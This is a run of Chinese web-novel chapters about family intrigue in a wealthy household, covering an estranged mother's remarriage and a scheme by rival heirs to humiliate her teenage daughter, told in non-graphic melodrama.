傅绥尔一脸急迫拉着姜花衫上下打量,“你做这么危险的事怎么也不告诉我一声?要不是听枝枝说起,我还蒙在鼓里。” 姜花衫想事想的头疼,揉了揉太阳穴,“这种小事我一个人能搞定。” 傅绥尔这几天一直在为青年杯做准备,姜花衫不想她因为这件事分心,所以也就没有特意去说。 沈眠枝锁上门,慢慢走到床前。 “衫衫,张姨已经安全到家,另外,警署厅那边我也沟通好了,明天他们就会带着银行卡上门物归原主。” “至于张姨那两个无良哥嫂,苏家原本打算灭口,我提前让暗堂的人留意,趁他们还有口气把人捞了回来。” “但他们不能再露面了,否则背后布局的人一定会警惕,到时候我们的心思全都白费了,所以我自己作主,把他们一家大小秘密送出了鲸港。” “我知道你不想让张姨知道你在背后护着她,怕她感恩旧情又找回来,放心,张姨并不知情,我让暗堂的人给她送了信,告知她这一切都是老爷子的主意,因为沈家不想节外生枝。” 姜花衫脸色稍缓,不得不说,沈眠枝处理这件事的每个细节都把握的极好。 她故意让关鹤去赌场抓人,除了想泄露关鹤的底牌之外,也是想给张庚一家一条活路。只有布局之人相信他们死在关鹤手里,张庚一家才会真正安全。 而她之所以放过张庚,除了不想让张茹有负担之外,更重要的是,她忽然明白了一个道理。 这个世界上,一个人能拥有的等同于上帝的最高权利,不是杀戮,而是赦免。 如果一个蝼蚁冒犯了神明,为了树立威信,所有的神明都会要求诛灭蝼蚁,对神明来说摧毁蝼蚁是易如反掌的事,真正难得的是,众神震怒,蝼蚁还能活着。 就像,所有人都想张庚死,他死才是必然的结局,所以这个时候,谁能让张庚活着,谁才是真正厉害的人。 而她想救的从来不是‘张庚’,张庚只是一个很小的缩影,正好映射了她的心里世界。 如果,她今天能违背所有人的意愿让张庚活,明天就能对抗剧目,从死神手里抢回爷爷。 值得欣慰的是,她从来没有跟沈眠枝说过她要怎么处理张庚一家,但沈眠枝还是准确无误猜中了她的心思。 世间知己也不过如此了。 “枝枝,辛苦了。”她发自内心地感谢。 沈眠枝摇了摇头,“不辛苦。” * 沁园。 沈执正在屋里打电话。 “不会错的,地下钱庄的背后东家就是关家那小子。” 电话那头沉默片刻,淡淡道,“竟然是关家?还真是出乎意料。” 沈执声音低沉,“原本打算暗地处理张庚,然后再嫁祸给姜花衫,但现在人被关家杀了,张茹这步棋只走了一半,接下来该怎么做?” “你刚刚说姜花衫今天去了登立马场,还当着众人的面把关家小子揍了个半死?” 沈执,“没错,这事在马场闹得沸沸扬扬,做不了假。” 那边又沉默了许久,缓缓道,“你联系一下关鹤,看看有没有机会合作?” 沈执皱眉,“合作?你是不打算向老爷子透露实情了?” “透露实情对我有什么好处?沈谦力压关楼,以后在沈家哪还有我说话的份?关鹤手里的地下钱庄油水大的惊人,既然财神爷主动送上门哪有不接的道理?那小子既然已经知道有人在他的赌场做局,一定也不会善罢甘休,你小心应付,别让他察觉你背后还有人。” “好。” “菊园那边安排的怎样了?” 沈执,“放心,都在计划之中。” * 第440章 礼物 “姜小姐。” 四个阿姨搓着手站在床头,轮番上阵。 “姜小姐,您就行行好走两步吧,今天要是不打卡,我们这个月的奖金可就没有了。” “是啊姜小姐,您人美心善,就起来走两步吧,很轻松的。” 姜花衫不语,闭着眼睛从枕头下抽出一张银行卡,“你们奖金多少?我出双倍。” “……” 四人顿时沉默。 这可是她自己的腿,不过就是在院里走几步,怎么跟要了命似的?天底下这么懒的人可真是不多见。 要是张茹,早把姜花衫从床上拎起来了,但偏偏四个阿姨没有一点办法,只能相互干瞪眼。 “这是怎么了?都围在这做什么?” 沈娇一身暗紫旗袍,脖子上戴着一串比灯泡还亮的大溪地黑珍珠,女王怀里抱着一个精美的粉色礼盒,气势十足走了进来。 阿姨们仿佛看到了救星,欲言又止看着床上安详的某人。 “又贪懒了?”姜花衫的懒在沈园已经出了名,沈娇见怪不怪,“行了,不想练就不练吧,也不差这一天。” 姜花衫立马从床上坐了起来,“听见没?不差这一天” 女王都发话了,阿姨们也不敢有意见,默默退出了房间。 “怎么样?好点了吗?”沈娇挨着床侧坐下,目光温柔。 姜花衫点头,“好多了,早知道拆了绷带这么麻烦我就晚些再拆了。” “又胡说。”沈娇睨了她一眼,不知想到什么,脸色严肃了几分,“张茹不在,住的还习惯吗?” 姜花衫笑了笑,“习惯啊。” 沈娇摸了摸她的头,“要是不习惯也不用勉强,我把人再给你找回来就是。” 姜花衫摇头,没心没肺,“不用了,现在这样就挺好的。” 沈娇看了她一眼,没再继续这个话题,转手把怀里的盒子递给她。 “这是什么?怎么还有礼物?”姜花衫一脸好奇。 沈娇撩了撩头发,“你和绥尔的结业礼,前段时间一直很忙所以没来得及准备。” 姜花衫心里暖洋洋的,不觉勾起嘴角,不愧是女王,不管什么时候她给的仪式感都是最足的。 沈娇,“打开看看喜不喜欢?” 姜花衫笑着应道,“喜欢喜欢。” 礼盒的丝带是闪色金色细线的黑色蕾丝,不管什么时候,沈娇的礼物永远都是最拿的出手的。 姜花衫一脸期待,等拆开包装刹那,嘴角的笑容顿时僵硬。 她眼皮跳了跳,一把盖上,两颊通红,“这……这是什么?” 沈娇神色淡淡,“好歹比绥尔争气些,那傻丫头吓直接把东西扔了,真不知道她到底像谁?” “……”姜花衫嘴角抽搐。 沈娇,“你们都长大了,该见的世面总会见,孟老师教你们的都是理论知识,纸上谈兵总不如实战经验来的有效,妈妈知道你们脸皮薄,这些都是最基础的小玩意,不过就是帮助你们熟悉自己的身体,没什么不好意思的。” 姜花衫尴尬的脚趾抓地,呵呵笑了笑,往后靠了靠。 枕头下的小熊尾巴突然收到外力挤压,轻轻凹陷。 “躲什么躲?瞧你这点出息?”沈娇皱眉打量姜花衫,“跟小孟学了这么久,该不会连这些小玩具都不知道怎么玩吧?” “……呵……呵……”姜花衫露出一个尴尬而不失礼貌的微笑。 沈娇恨铁不成钢,“连这都不会,你以后还怎么玩男人?” “!?”姜花衫一脸震惊,“我……我……” “我什么我?” 姜花衫憋了一口气,“我没想……” 沈娇,“那就现在想。” 姜花衫,“……” 沈娇摸了摸她的头,“妈妈知道小女生在面对男欢女爱总是天然的羞怯,但我不希望我的女儿是这样,因为这种心理很往往容易让人最开始的忽视自己的生理需求,或者在一段亲密关系中,不敢表现自己的欲望,一昧去顺从别人。” “衫衫,身处沈家这样的环境,又长得这么漂亮,今后一定会有很多人觊觎。而我不能每一次都提醒你要好好保护自己,因为犯错是你感悟人生的必经之路,但……有些错女生是不能犯的,因为生理结构不同,女生往往付出的代价会多得多,澜兰就是最好的例子。” 如萧澜兰这样的天之骄女,被人玩弄后也只会落得身败名裂的下场,可见这世俗间多有偏见。 姜花衫眸光敛动,脸上的红晕消退了不少。 沈娇语重心长,“作为母亲,我无时无刻不在担心让你一夜长大的人配不上你的好,所以,我总是希望你能准备的再充分一点再去迎接你的成长。” “我送你这些玩具,并不是想让你成为什么样的人,而是想让你真正了解自己。女生要想了解自己,第一步是了解自己的身体,我不希望你们像我年轻的时候一样被世俗捆绑,被规则物化,我希望你们能与权利中心的男人一样平等享受这个世界,而不是连取悦自己都会被冠以荡妇的污名。” “说这么多,妈妈只想告诉你,不管什么时候,你自己的感受是最重要的,如果身体和心理有一方不舒服,都不要勉强。” 姜花衫神色微动。 不知怎么,她忽然想起与沈归灵的勾缠之夜,原本她还有些懊恼,气自己怎么就着了沈归灵的道,现在看来,她懊恼其实夹杂着世俗偏见,她潜意识里总觉得女生就该矜持,身体诚实反应就是丢脸,可是为什么要矜持?为什么要觉得丢脸,她无形中就已经给自己立了一道规矩。 她好似一下通透了,扯着嘴角笑了笑,“我记下了。您放心,我一定不会勉强自己的。” “好,你乖。”傅绥尔是个木鱼脑袋死活不开窍,沈娇生怕姜花衫也个顽固不化的,见她这么听话,眼里满是欣慰,“既然你明白妈妈的良苦用心我也就放心了。明天,我会安排小孟过来跟你讲课,那些东西你随便玩,要不喜欢可以随时换。” 姜花衫嘴角抽了抽,她只是懂了,但还没进步到实操这一步。 “那个……还是等我的伤好了再说吧?对!我现在手脚不方便。” 沈娇一副见过大风大浪的样子,“有什么不方便的?现在都是全自动的。” “……”姜花衫扶额,脚尖绷的都快抽筋了。 * 与此同时的南湾。 天高海阔,波光粼粼。 沈归灵双手撑着栏杆,指尖有一搭没一搭敲击桅杆,过了许久,低头摘下了耳朵上的蓝牙耳机。 …… 第441章 你嫁了个老头儿 艳阳闪着虹圈,光斑闯过红木花栏投下斑驳的碎影。 主厅。 方眉穿着湛蓝缎锦旗袍,腕间带着玻璃种飘花翡翠,神态温柔。 “前些年一直受老爷子照顾,原本早就想找机会拜会您,但又怕事情没有着落惹人笑话,所以才拖到这个时候上门。” 姜晚意也一副淑女姿态,笑容甜美,“爷爷,您还是跟五年前一样,一点都没有变。” 沈庄哈哈笑了两声,摆摆手,“老咯,晚意倒是长大了,变成大姑娘了。” 姜晚意娇羞笑了笑,回头往厅外张望,“咦?姐姐怎么还没有来?” 五年时间,所有人都在成长,也包括姜晚意。 当初那个藏不住心思的女孩也已经长大了,此刻她表现出来的急迫,像极了妹妹对姐姐的依恋。 方眉含笑拍了拍姜晚意的手背,“你这孩子,主厅到菊园一来一回怎么也要点时间,难不成你姐姐还能飞过来?” 姜晚意撇了撇嘴。 方眉顺势转头看向沈庄,“让您见笑了,当初两个人年纪小,为了个房子吵的姐妹都不要做,如今意意也长大了,对小时候的事也是后悔自责,这不?听说要来见姐姐,高兴地一个晚上都没有睡。” 姜晚意有些不好意思,拉了拉方眉的手,“妈,你别说了。” “爷爷。” 这时,厅外传来一声慵懒的女音。 方眉和姜晚意立马侧身回头,待看见姜花衫坐着轮椅被沈执推着进入主厅,两人脸色骤变。 “姐姐!”姜晚意跑上前,神色慌张,“你怎么了?怎么受伤了?严不严重?” 姜花衫看了她一眼,淡淡收回目光。 姜晚意心下一窒,她虽然不明白姜花衫刚刚那一眼是什么意思,但她从心底厌恶姜花衫这种探视。 “姐姐。” 方眉见两人气氛微妙,笑着站起身,“衫衫,这么久不见妈妈和妹妹,有没有想我们?” 姜花衫,“有。” 她没有说谎,这段时间她的确一直都在想方眉和姜晚意。 之前她一直以为方眉没有这个能力和魄力加害爷爷,但如果沈家全员恶人,所有人都参与了对爷爷的迫害,这里面未尝没有方眉的手笔。不仅方眉,或许连姜晚意也参与其中。 所以,她一直在想,如果她们真有参与,差不多也该是时候露面了。 果不其然,真的就送上门了。 方眉不知她话里的深意,听见肯定答案,脸上笑容愈发温柔,“妈妈和妹妹也很想你。” 沈庄看了姜花衫一眼,招手,“到爷爷身边来。” 沈执立马推着姜花衫走到沈庄面前,沈庄脸色不显,“都坐吧。” “是。” 方眉含笑应下,不动声色拉了拉姜晚意。 姜晚意有些委屈看了姜花衫一眼,见她完全没有搭理自己的意思,有些失望落座。 沈庄,“前些日子,几个孩子去外出度假出了点意外。不过,你们不用担心,小花儿的身体并无大碍,等再过段时间就痊愈了。” 方眉毕竟是姜花衫名义上的母亲,沈庄出于尊重还是简单说明了情况。 沈家老爷子亲自解释,方眉也不敢托大,连忙笑着应答,“衫衫有您爱护,我哪有不放心的。” 说罢,转头看向姜花衫,情绪一转满是愧疚,“衫衫,妈妈不好,这几年一直疏于对你的照顾,你不会还在怪妈妈吧?” 姜花衫没有接话,静静看着她表演。 眼看话要落在地上,方眉赶紧转场,“不过……你放心,以后不会了,等妈妈搬回来,妈妈一定好好照顾你和妹妹。” “是啊,姐姐!”姜晚意顺势抢话,“以后我们就可以一家人永远在一起了。” 一家人? 一想到这个词姜花衫没由来地感到生理性恶心,她转头看向沈庄,“爷爷?” 沈庄轻轻拍了拍她的手背,“你母亲这次来是有事与你商议,你先听她说。” 方眉目光轻轻扫过沈庄,又快速转移到了姜花衫脸上,“衫衫,有件事或许很突然,但妈妈还是希望你能接受。” 来了!内鬼的阴招。 姜花衫扯着嘴角笑了笑,或许是心里早有准备,这次面对方眉她意外的松弛。 方眉不动声色观察姜花衫的脸色,“衫衫,妈妈要结婚了。” “?”姜花衫愣了愣,饶是她已经做足了心理准备,但还是被这么诡异的消息雷到了。 方眉要结婚了?! 这是什么突发剧情,这在上一世可是没有的。 难不成又是剧目在强行修正剧情? 方眉见姜花衫还是不接话,眼中不觉流出小女人的情态,“妈妈知道这或许有些突然,但感情的事就是解释不清,妈妈这次专程来沈园,一是想和你分享我的幸福,二是希望能得到你的祝福。” 姜花衫差点被逗笑,这么多年过去了,方眉还是一点都没变,自私自利都可以说的如此冠冕堂皇。 她沉默片刻,终于回应了一句,“你要嫁给谁?” 方眉,“这个人你或许认识,是关家人。” 关家? 姜花衫皱了皱眉,鲸港姓关的这么多,以方眉的野心,结婚对象自然不可能是籍籍无名之辈。 她又没忍住,脱口问道,“你给关楼做小三了?” 这话一出,在场所有人都愣住了。 沈庄原本在喝茶,差点没忍住喷了出来,强行忍住后淡淡看了一眼方眉,不轻不重斥道,“怎么还跟小时候一样,说话口无遮拦,你关叔叔是什么人?这话要是传出去像什么话?” 姜花衫懂了,不是关楼。 方眉迅速整理情绪,遮掩笑了两声,“怪我没说清楚,妈妈的结婚对象是关委员,他是关副议员长的堂兄。” 前段时间沈家和关家在国会争锋相对,沈谦和关楼更是在大会上拍桌叫板,方眉这个时候强调关楼的职称无非是想要在沈庄面前卖个好。 关楼的堂兄? 如果他没记错,关楼是老来得子,虽然关鹤和她们是一个辈分的,但关楼已经快六十了,方眉嫁的还是关楼的堂兄? 姜花衫的表情一言难尽,“所以,你嫁了个老头儿?” “……” 方眉眼里的幸福碎的猝不及防。 …… 第442章 嫉妒 个死孩子,嘴巴还是这么损。 方眉努力维持脸上的平和,“你关叔叔虽然年纪大了点,但他一点都不显老,不仅心态年轻对我也好。” 这话怎么听都有点像在自我麻痹。 姜花衫重拳出击,“他有七十岁了吗?” “哪有这么老,也才六十出头。” 话刚说完,方眉嘴角抽了抽,恨不得扇自己一嘴巴,沈家老爷子可不正好七十。 方眉只得赶紧补救,“妈妈不看重年纪,你关叔叔人挺好的,这辈子能遇见他我也知足了。衫衫,妈妈希望能得到你的祝福。” 姜花衫皱眉,“这怎么祝福?你这哪是给我找的后爸,分明是后爷。” 沈庄眼角抽了抽,就算他有心偏袒姜花衫,也不得不承认这孩子的嘴有点歹毒。 方眉咬紧牙关,硬生生把这口恶气吞了回去,故作为难看向沈庄,“老爷子,您看……” 天要下雨娘要嫁人,方眉说到底与沈家无亲无故,沈家也没有干预她婚事的权利。 沈庄轻咳了一声,转头看向姜花衫,“结亲是喜事,不许乱说。” 说罢又看向方眉,“小花儿这性子被我养坏了,回头我再说说她。但你也多理解,这事虽然是好事,但对孩子来说太突然了,她心里一时不能接受也是正常。” 方眉见识过沈庄对姜花衫有多偏袒,基于前车之鉴,她也不敢再耍心思,连忙点头附和,“是,您说的对,是我疏忽了孩子的感受。” 沈庄,“你前头说婚事已经商议好了,这几天要安排双方家人见面?” “是,我和老关商量过了,等婚礼结束我们就搬来鲸港定居,衫衫毕竟是我的女儿,我希望她也能来。” 说着,又一脸期待看向姜花衫,“衫衫,妈妈真的很希望你能得到你的谅解,也希望你能慎重考虑一下我的邀请。” 姜花衫神色淡淡,没有说好也没有说不好。 方眉见状,起身告辞,临走时忽然想到什么,眼眶微红,“听说你考上鲸港美院了?” 姜花衫依旧沉默。 方眉笑了笑,一副释然的表情,“你奶奶一定会很高兴的。今年我回了一趟淮城,家里还是老样子。抱歉啊,妈妈看见墙角的涂鸦了,原来你小时候就喜欢画画了。” “衫衫,过去的事就让它过去吧,我们都向前看,好不好?” * “她真这么说?” 傅绥尔双手托腮,指尖有一下没一下抚弄窗台的月季,犹豫片刻回头看向窝在沙发里的少女。 “那你是怎么想的呢?” 姜花衫闭着眼,老神在在,“我在想……那个关山到底多大?我要是看见他,是叫后爸还是后爷?” “……”傅绥尔愣了愣,“你还真打算去?” 姜花衫睁眼,“去吧。” 新剧情,不去,怎么知道方眉葫芦里卖的什么药? 沈眠枝点开手机,“关山,今年六十四岁,退休之前是鲸港粮食局副委,后来被人举报违法乱纪接受检察院调查,但最后因为证据不足不了了之。” 说到一半,沈眠枝的眼神忽然变得有些微妙。 姜花衫坐起身,“说啊?怎么不说了?” 沈眠枝,“在你母亲之前,他一共有三段婚姻,前两个妻子为了他生了两个女儿,最后一个生了儿子。关山的感情生活一直很混乱,他六十岁的时候还被拍到包养当红女星。” 傅绥尔皱了皱眉,“听上去感觉是个很脏的糟老头。” 姜花衫神色淡淡,“这个关山和关楼一家关系怎么样?” “他们许多利益都捆绑在一起,所以两家关系一直不错。值得一提的是,这个关山的三个孩子来头都不小,之前关山想娶那个女明星,就是被他这三个孩子搅黄的。” 傅绥尔,“这也是情理之中,这个关山私产颇丰,一把年纪还娶妻,他那几个孩子哪会愿意肥水外流?见面那天,那三个一定会来,衫衫,你可千万小心,别被算计了。” 姜花衫嗯了一声,便也没再接话。 她极少这么沉默,傅绥尔有些不适应,和沈眠枝对视了一眼,关切道,“你在想什么?该不会是心软了吧?” 都是心死过的人,还怎么软? 姜花衫笑了笑,“我只是在想,什么时候能再去淮城看看?” * 另一边。 方眉和姜晚意从沈园出来直接坐上了关山安排的私家车。 司机是关山的心腹,平时惯会看人下菜碟,原以为方眉就是个专门钓男人的普通少妇,没想到竟然还跟沈家搭上了关系,脸上的笑容殷勤了不少。 “夫人,是直接回家吗?” 方眉捏了捏发胀的太阳穴,“先去美容院,那死丫头,这么多年不见越来越刻薄了。” 不过跟她说了几句话,差点没被她送走。 姜晚意隔着车窗,目不转睛盯着逐渐消失在视线里的沈园。 这五年,她随方眉辗转去过很多地方,但再没有一个地方能与沈园相比。 一开始她还心高气傲,觉得以自己的才情一定能找到比沈园更好的下家,但出去过才知道,原来当年她轻而易举得到的,其实就是她这辈子最高的顶峰。 “我跟你说话,意意,你有没有在听?” 姜晚意收回艳羡的目光,模样乖巧,“嗯?您说什么?” 方眉皱眉,“你怎么魂不守舍的?我说,晚上还有宴会,正好你跟我一起去做个全身SPA。” 姜晚意,“妈妈,我马上就要高三了,重新转回育才我担心课程会跟不上,所以我想……” 方眉直接打断她,“有你关叔叔在,有什么跟不上的?跟不上就请私教!今晚的宴会都是些大人物,礼服我都帮你准备好了,不许跟我说不去。” 听见礼服二字,姜晚意脸色微变,但很快又遮掩了过去,“知道了。” 方眉这才缓和了脸色,轻声安抚,“意意,妈妈这么做都是为了你,你可千万别学你姐姐,千万不能让妈妈失望!” 姜晚意笑着点头,转头看向窗外。 她忽然想起方才她看见姜花衫的第一眼,明媚张扬,鲜活的让人嫉妒。 …… 第443章 玉镯 晚间,沈娇又拿着一个黑色的丝绒礼盒登门。 姜花衫现在看见她手里提东西就有些怕,没等沈娇开口就作势要去锻炼。 沈娇被她逗笑了,连忙把人拽了回来。 “坐下,这不是给你的,是给你母亲的。” 姜花衫一愣,不解看着沈娇。 虽然沈娇没有从来明说过,但她知道,其实女王打从心里看不上方眉。 沈娇拍了拍她的手,“听说你母亲要结婚了,虽然眼光不怎么行,但还是祝福她。这个,就算我的一点小小心意了。” “不用。”姜花衫想也没想,直接把礼盒推了回去。 “拿着。”沈娇态度强硬,“我以前的确不喜欢她,但此一时彼一时,但她毕竟生了你。” 女王真的将爱屋及乌体现的淋漓尽致。 姜花衫沉默片刻,打开锦盒,盒子里装着一只玻璃种帝王绿翡翠手镯。 这么贵重?! 姜花衫有些意外看向沈娇。 方眉刚来沈园那会儿,最喜欢的就是研究沈娇的穿着打扮,见沈娇旗袍戴玉也想东施效颦,结果跑去商场转了一圈也没看见类似的,于是找人做了个A+B的假货。 每回只要沈娇来沈园吃饭,她就会戴着她的假镯子和沈娇套近乎。沈娇觉得膈应,此后再也没带过那个玉镯。 方眉只当沈娇是看不起,不愿意跟她穿戴一样的饰品,气的的不轻。 一次偶然的机会,方眉得知原来这种帝王绿的手镯要么就是收藏级别要么就是拍卖级别,有市无价,像她这样的,一伸手人家就已经知道是假货了。 方眉一气之下摔了那个玉镯,此后暗暗恨上了沈娇。 沈娇不可能不知道方眉的心思,如今愿意送她这么贵重的礼物,可见带了诚意的。 姜花衫盖上盒子,摇了摇头,“她不配。” “别说孩子气的话。这鲸港的名利圈就这么大,关家那几个没有一个是省油的灯,她如果闹出什么笑话,你免不了会被牵连。” 沈娇拍了拍姜花衫的手,“左右不过是个镯子,妈妈的家底你还不知道?这对我不算什么。但这个礼送出去,有沈家的面子,有我的面子,关家人多少会有忌惮。” 她当然明白沈娇的良苦用心,正是因为如此,她才不想接受。 因为她是真的无所谓,就算方眉变成臭虫被万人践踏,就算她被人嘲笑是臭虫的女儿,她也不会有一丁点难过。 但她也知道,除非沈庄和沈娇知道全部事情,否则他们是不可能理解她的心情,因为这一世,方眉没还有来得及对她做什么就被她赶出了沈园。 “我知道了,谢谢妈妈。” 不忍拂了沈娇的好意,姜花衫最终还是笑着接下了礼物。 沈娇回去后,姜花衫收敛了笑意,打开锦盒,拿出手镯细细打量。 满色玻璃种的帝王绿手镯,这样的级别就算是鲸港应该也很难找出第二条。 但她分明记得,上一世,她去找方眉借珠宝的时候,曾经撞见方眉对着镜子比划腕间的手镯,那只手镯绿得发光,与她手里这两只好似一模一样。 现在想来方眉当时的反应也有些奇怪,发现她进屋后立马把镯子摘了。 蓦然,姜花衫眼底震颤,好似幽黑的海底忽然进来了一束光。 难道,沈娇的死和方眉有关? 她这个时候出现目标不是爷爷,而是沈娇? 这念头一起,姜花衫忽然有种头皮发麻手脚冰凉的诡异感。 “……” * 半个月后,关山和方眉的婚事进入了最后的商榷环节,虽然这次只是两家内部见面,但关家还是包下了鲸港花园酒店最豪华的宴客厅。 宴客当日,方眉穿着一身粉色绫罗旗袍,发髻簪着澳白步摇。 这几年她挖空心思装扮自己,总算有了些成效,虽然已经年过四十,但风韵犹存,精心挑选的粉色让她看上去多了些少女感,整个人仿佛年轻了十岁,跟一脸潦草的关山站在一起,不知道的还以为是一对父女。 姜晚意脸上维持着体面的微笑,不着痕迹提了提胸前的开叉,相比起方眉的少女感,她这个真正的少女反而有些过度催熟。 为了今天的宴会,方眉花重金给她定制了一款黑金礼裙,礼裙除了裹胸和齐臀处用的是黑色布料,其余布料都是一层半透明的金色轻纱。 “把手放下,大家都看着,你这样像什么样子?小家子气。” 方眉回头看见姜晚意遮遮掩掩,极为不满。 姜晚意有些不自在,“妈,我想回去换件衣服。” 不知道为什么,她总觉得今晚许多人看她的眼神很奇怪。 方眉皱眉,“换什么换?我告诉你,这件礼裙可是有钱都买不到的秀款,我花了这么大价钱你说换就换,是想气死我吗?” 姜晚意心知拗不过,笑了笑,“我知道了。对了妈妈,姐姐呢?她怎么还没来?是不是找不到地方,我去看看?” 方眉脸色稍缓,“她说了会来应该就会来,你去看看也好,免得那死丫头又耍什么把戏。” 姜晚意点头,快步出了内厅。 关山的眼睛一直盯着姜晚意,见她突然离席,中断了与小辈的聊天,转身走向方眉身边。 “意意去哪了?” 方眉抬眸笑了笑,亲昵挽着关山的胳膊,“去接她姐姐了。” 关山这才想起司机说,方眉那天是被沈家总管事亲自送出来的。 “哦,我记得你以前说大女儿叫衫衫?” “是。那孩子得了沈老爷子的喜爱一直被寄养在沈家,我呢,也不想给孩子添麻烦,所以才带着意意搬出来了。不过,要不这样,我也不会遇上你,说到底还是我有福气。” 软玉在怀,关山脸上的笑容多了几分颜色,低头往方眉脸上凑。 方眉眼皮跳了跳,眼前的男人两鬓斑白,发顶稀疏,脸上还有老人斑,虽然说今天是议亲但他也没刻意收拾,像极了一只风中凌乱的老狗。 不知为什么,她忽然想起姜花衫的那句,你嫁了个老头儿? “……” 想当初她也是在外面包养小白脸的富婆,那个时候吃的那么好,现在让她啃一块发酸的老肉实在有些为难。 方眉故作不好意思缩了缩脖子,轻轻推开老头儿的脸,娇羞道,“大家都看着呢。” 关山被勾的心痒痒的,一把拧住方眉的臀肉,“看我晚上怎么收拾你。” 方眉,“……” 宴厅一角,关鹤一手插兜,一手端着红酒杯,刚转身就看见这辣眼睛的一幕,恶心地差点把刚喝进去的酒都了吐出来。 不是!他这大伯怎么还是这德行?像只随时发春的癫狗似的。 …… 第444章 救她 宴厅外。 姜晚意双手环抱着自己守在电梯外,她并非真心实意出来迎接姜花衫,只是不喜欢里面窒息的氛围罢了。 电梯开开合合来了几批人,出来的所有人几乎都会把目光停留在她身上,其中还有不少是关家的亲戚。 这种感觉让姜晚意很不舒服,但她无依无靠,能相信的也只有方眉,虽然很不喜欢也只能忍受。 “怎么还不来?” 姜花衫长的那么漂亮,她来了,一定会吸引所有人的目光,这些人也就不会用不怀好意的目光看着她了。 说来真是讽刺,以前她最讨厌的就是姜花衫比她漂亮,甚至也傻到羡慕姜花衫吸引了方眉的注意。 殊不知,正是因为有个比她更漂亮的傀儡,她才能免于很多祸害。 “您好小姐,请您跟我们往这边走。” 姜晚意愣了愣,不解看着眼前的服务人员,“你跟我说话吗?” 男人点头,“小姐,表演马上就要开始了,客人们都在等您,请您赶紧过去。” 姜晚意往后退了一步,“什么表演?你们认错人了。” 男人回头朝身后的几个黑衣保镖使了个眼色,一群人立马把姜晚意围了起来。 姜晚意脸色微变,“你们想干什么,我警告你们,别乱来!我是关委员……” 不等她把话说完,男人上前一把扣住姜晚意的双手,“钱都收了,现在后悔可来不及了。” “救……” “把她带过去,别让她张口。”男人迅速捂住她的嘴,将她丢给身后一群保镖。 “嗯嗯……” 姜晚意面露惊恐,任由几个身材魁梧的男人把她拖进了电梯。 服务员关上电梯,转身推开隔壁包间的房门。 “关少爷,已经处理好了。” 包间里坐着一男两女,正是关山三个儿女。 大女儿关夏月是个寡妇,丈夫留下了一屁股债。 二女儿关初露嫁了个富商,但这几年经营不好,家底早已败空。 小儿子关业得了关山的推荐,在粮食局做秘书长,原本是个肥差,但也禁不住他败家。 关山私产颇丰,方眉要是嫁进关家,以后能分到的财产就少了一半?他们又怎会允许这样的事发生? 于是,三人一合计便想到一个破坏结亲的绝妙计划。 关夏月早看出方眉有卖儿女的心思,于是她买通给方眉定制礼服的第三方,让她们给方眉推荐了一款夏娃秀的高奢定制礼裙。 所谓夏娃秀就是以取悦男性为主的服装表演秀,里面的许多礼服都是以情趣为主。 这也是为什么,今晚许多男人看向姜晚意的眼神都别有用意,因为他们都是夏娃秀的尊贵客户。 关初露捂着嘴角,一脸得意,“不是我说,老头子的眼光真是越来越差了,什么货色都敢家里领,也不怕晚节不保。” 关夏月也是一派贵太太的架势,转头看向关业,“你找的那些人靠谱吗?可别到时候翻车把我们给供出来了。” 关业丝毫不在意,“供出来又能怎么样?面子都丢完了,老头儿难不成还能因为一个女人跟我们生分?” “说的也是。”关初露捻着兰花指放下咖啡杯,“老头儿最要面子的,等事情闹开,那女人还不得还有多远滚多远。” 关业起身整理领带,“走吧,咱们也该上场了。” * 宴厅内。 关鹤放下酒杯正准备起身。 关楼抬眸看着他,“去哪?” “……”关鹤指了指门口,“阿珩他们在隔壁玩,这里好无聊,我去凑凑热闹。” 关楼老来得子,对关鹤甚是宠爱,基本有求必应,“去吧,吃饭的时候记得过来,今天是你大伯的好日子,一家人的体面不能丢。” “知道了。” 周宴珩在隔壁间开轰趴,关鹤报了地址,迎宾小姐立马带着他往VIP通道走去。 “你们放开我!我说了我不是什么表演人员,我是隔壁宴厅的客人!” 关鹤从电梯出来冷不丁听见一道凄厉的女声,他循声看去,还没反应过来,就看见一道疯影向他扑来。 “救救我!求求你救救我。” 此时身后的保镖已经追了上来,其中有人认出了关鹤的身份,犹豫片刻没有立马上前。 关鹤皱了皱眉,一把推开姜晚意,待看清她的脸,眼梢挑了挑又不着痕迹看了保镖一眼。 这么多年了,他那几个堂兄堂姐的手段还是这么不入流。 关鹤不想多管闲事,摆摆手,示意他们可以把人带走了。 保镖立马上前,为了防止姜晚意再乱说话,直接捂着她的嘴强制拖行。 “怎么回事?” 包房里的人听见外面有动静,纷纷走出来看热闹,关鹤转头看见一群老熟人,摊了摊手,“没事,都回去吧~” 姜晚意眼看着一群男男女女又转身走进了房间,刚提起的心一下掉进了深渊。 她努力想挣扎,却怎么都甩不开身上束缚。 人群里有个女生站着没有动,片刻后,她忽然开口,“那个女生,好像是姜花衫的妹妹。” 这话一出,成功拦下了所有人的脚步。 关鹤愣了愣,回头看向被拖走的女生,“你说谁?你没看错吧?” 顾玉珠一动不动看着姜晚意,这一刻,她共情了她眼里的绝望。 她想到了自己。 她说,“我不会看错的,的确是姜花衫的妹妹,好像是叫姜晚意。” 关鹤皱眉,回想起刚刚在宴会他的确听见大伯管这女的叫‘一一’。 忽然,他头皮一麻。 草!是意意! 不等关鹤反应,周宴珩从房间里走了出来,抬眸看了一眼,“去救她。” …… 第445章 赤裸裸的羞辱 临近开宴,关家人基本已经到齐了。 关家三个始作俑者堂而皇之坐在主席,与家里的亲戚谈笑风生。 明明是两家议亲,但女方连一桌宾客都凑不齐,不免叫人看轻,关家人虽然没有明说,但态度已经很明显。 关山应酬了一圈,还不见姜晚意回来,微微有些不悦,“怎么回事?人呢?跑哪去了?你也真是,这么重要的场合还让她乱跑什么?” 面对关山的指责,方眉只能强颜欢笑,“应该很快就来了,要不,我们先开始吧?” 关山,“这像什么话?今天来的都是她的长辈,还有没有规矩了?” “是,你说的对。”方眉笑着挽住关山的胳膊,“等回去,我一定让意意给你道歉。” 关山原本还想再说,听了这话眼神微变,撇过头整理领结。 方眉佯装毫无所知,一脸幸福依偎着关山的肩膀,两人如同新人一般挽手入宴。 关楼回头看向秘书,“去把阿鹤找回来。” “是,” 秘书点头,正要动身,关鹤双手插兜大摇大摆走了进来。 路过关山时,还特意停下打招呼。 “大伯,新婚快乐。” 这几年,关家就关楼家发展的最好,家里兄弟姐妹也是靠着关楼的裙带关系才在鲸港站稳了脚跟,所以关鹤在关家的地位就等同于宗族里的小宗子,个个都敬着他。 正是因为如此,关鹤养成了无法无天的性格,平时看见家中长辈别说主动打招呼,就是给个正眼都算是客气的了。 